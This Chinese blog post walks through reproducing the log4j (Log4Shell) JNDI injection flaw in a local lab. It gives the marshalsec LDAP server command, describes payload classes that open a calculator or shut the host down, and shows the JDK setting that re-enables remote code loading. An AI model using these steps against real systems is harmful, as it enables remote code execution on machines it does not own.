log4j代码注入漏洞复现

1.简介

前些天log4j官方宣布的log4j的漏洞闹得沸沸扬扬,各个公司加班升级修复,我们也在周末要求验证版本保证不受影响,既然知道了漏洞,我们就复现一下,比如让被注入文件的电脑关个机

2.工具准备

https://download.csdn.net/download/AnNanDu/64752930icon-default.png?t=LA92https://download.csdn.net/download/AnNanDu/64752930

里面包含2份源代码,两个工具类

  1. log4j-exp:执行被注入代码的客户端服务
  2. web-goodskill:存放注入文件的http服务
  3. 启动ldap的两个服务

3.复现步骤

1. 将注入文件放入http服务并启动测试下载

文件web-goodskill里有两份demo注入文件,一份打开计算器,一份执行关机

测试可以通过服务下载文件,这一步就算可以了

2. 启动ladp服务映射注入文件

进入到下载的工具包中,在地址栏直接打cmd进入命令框

 执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jTest 1389

 启动完成后第二步就完成了

3. log4j2执行注入

IDEA打开log4j-exp找到 log4jRCE 类,执行main方法

 执行结果:

 

 上面那行输出文字是我们的注入代码里写的输出,证明确实将远程代码执行了

想要执行注入的关机代码放开下一行注释就可以了,需要在上文开启ldap服务的在开启ClearDemo类的端口

本地执行是都可以的,但是在远程客户端执行的时候如果没有这个设置则不会拉取远程代码,这是jdk1.8_u191等几个版本后设置的默认设置,防止ldap注入

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

 

 

 

 

 

 

 

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

余生大大

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值